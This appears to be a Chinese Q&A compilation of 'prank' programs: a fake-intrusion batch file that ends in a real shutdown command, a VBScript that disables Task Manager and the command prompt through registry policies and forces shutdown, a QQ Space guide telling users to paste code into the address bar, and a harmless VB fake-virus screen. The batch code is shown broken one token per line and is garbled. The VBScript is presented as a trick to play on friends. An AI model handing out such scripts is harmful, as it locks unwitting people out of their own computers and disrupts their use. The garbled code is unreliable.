本文目录一览：
求Bat整人代码。。很搞笑很吓人但是很安全！
@echo
off
color
0b
mode
con:
cols=80
lines=20
@title=超级病毒
for
/L
%%a
in
(
3,-1,0
)
do
(
for
/l
%%a
in
(1,1,8)
do
echo\
echo
入侵倒计时
%%a
秒
ping
-n
2
127.1
1nul
2nul
cls
)
cls
color
40
for
/l
%%a
in
(1,1,8)
do
echo\
echo
正在遭受黑客入侵...
ping
127.1
/n
3
nul
echo.
echo
警告！警告！电脑已被入侵！！！
ping
127.1
/n
3
nul
cls
echo.
echo.
echo.
echo
正在删除G盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除E盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除D盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除C盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除分区表...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo.
echo
删除完毕
echo.
echo.
echo
正在遭受黑客的炸弹袭击！
echo.
echo
电脑崩溃！准备关闭系统！
ping
127.1
/n
3
nul
shutdown
-s
-t
nulp
/p
整人代码
代码如下：set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)0 and pipe.count=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系统将在" 60-i "秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式，
此代码的威力：
1：开机就强制自动关机
2：cmd命令打不开
3：结束任务不管用
4：F8安全模式也不管用
呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、
代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，
求QQ恐怖代码？
非常恐怖的QQ空间FLASH开场效果+导航代码.
减小字体
增大字体.
非常恐怖的QQ空间FLASH开场效果，心理承受能力差的人可不要用哦！打开QQ空间便会开始一
...
谁给我个恐怖QQ空间的克隆网址，要非常恐怖的像《午夜凶铃》那种！
楼主您好： 克隆空间的办法。1，先登录到QQ分析师：...............放心好了，这个站是正规站，没有病毒木马之类的 2，然后点击头部的菜单栏中的“QQ空间克隆”， 3，输入你想被克隆的QQ号码，然后点击“QQ空间克隆”按钮，4，然后出显示出你将被克隆的QQ空间的QQ空间代码，点击你需要的某一行代码后面的“复制代码”， 然后登录你的QQ空间，将刚才复制的代码粘贴到地址栏里面，回车就可以了，具体的QQ空间克隆看以下操作 以下是从官方的网站复制过来的QQ空间操作方法，你可以参考一下， QQ空间克隆使用方法： 步骤A：复制代码 一、看到你喜欢的漂亮的QQ空间后，记下她的QQ号码； 二、访问QQ分析师,点击“QQ空间克隆”菜单； 三、在克隆页面中输入你要克隆的QQ号码 ，点击“QQ空间克隆”按钮； 四、复制你想要克隆的代码； 步骤B：装扮我的QQ空间 五、打开一个新的网页浏览器，登录你的QQ空间； 六、点击你空间中的“装扮空间”按钮； 七、将刚才复制好的QQ空间代码粘贴到浏览器地址栏中 八、在地址栏里按回车，如果QQ空间没有什么变化，请多按几次； 九、点“保存装扮方案”，如果提示“无需保存”，请先随便移动一下模块位置，然后保存。 注意：如果保存的时候出现物品没购买的提示，就是代码失效了或者当前QQ代码不是免费的，请换一个QQ代码再试。 ∮等待…所谓克隆。只不过是复制和模仿别人的空间。方法：进入对方的空间，右上角点查看主人装扮，打看页面后，就可以看到他空间使用物品，然后点击在自己空间使用，就行了。（注意要购买后才可以使用）其次就是模块，这个很简单，图片模块，直接右键，复制地址，至于FD，用下载工具获得地址。然后在你空间加自定义模块就可以了。这样就算是完成了注：（黄砖的要钱 ；只有免费的代码才可以克隆的过来去的，收费的照样不行的 ；当然你克隆收费的也可以 ； 只是你是否愿意付费） 如果你对我的回复感到满意，请你选择采纳，将鼓励我们更好的为其他网友解答，谢谢。
求恐怖的整人小程序
该程序会截取当前电脑画面，然后全屏显示，你双击第一次它会警告你说你已经中毒，然后出现黑屏，再次双击会告诉你“sb上当了吧”，然后退出程序！哈哈。。很整人的！你自己运行了就知道了，决不损坏你的电脑！
你需要做的很简单，只要两个窗体就可以，form1和form2的borderstyle都设置成0，autoredraw属性都设置成true，form2的windowstate设置成2，backcolor设置成黑色就可以了，然后复制下面代码：
form1代码：
Option Explicit
Dim screenhwnd, screendc
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long '以下API函数可以通过VB自带的API文本浏览器复制而来。
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As Long
Private Sub Form_DblClick()
MsgBox "电脑中了病毒，请重装系统！", vbCritical, "严重警告"
Unload Me
Form2.Show
End Sub
Private Sub Form_Load()
Me.Width = Screen.Width
Me.Height = Screen.Height
Me.Left = 0
Me.Top = 0
Me.ZOrder 0
App.TaskVisible = False
screenhwnd = GetDesktopWindow()
screendc = GetDC(screenhwnd)
BitBlt Me.hdc, 0, 0, Me.Width, Me.Height, screendc, 0, 0, HCC0020
ReleaseDC screenhwnd, screendc
End Sub
form2代码：
Private Sub Form_DblClick()
MsgBox "sb上当了吧，按‘确定’退出", , "玩笑"
End
End Sub
这个比较整人的，VB程序。
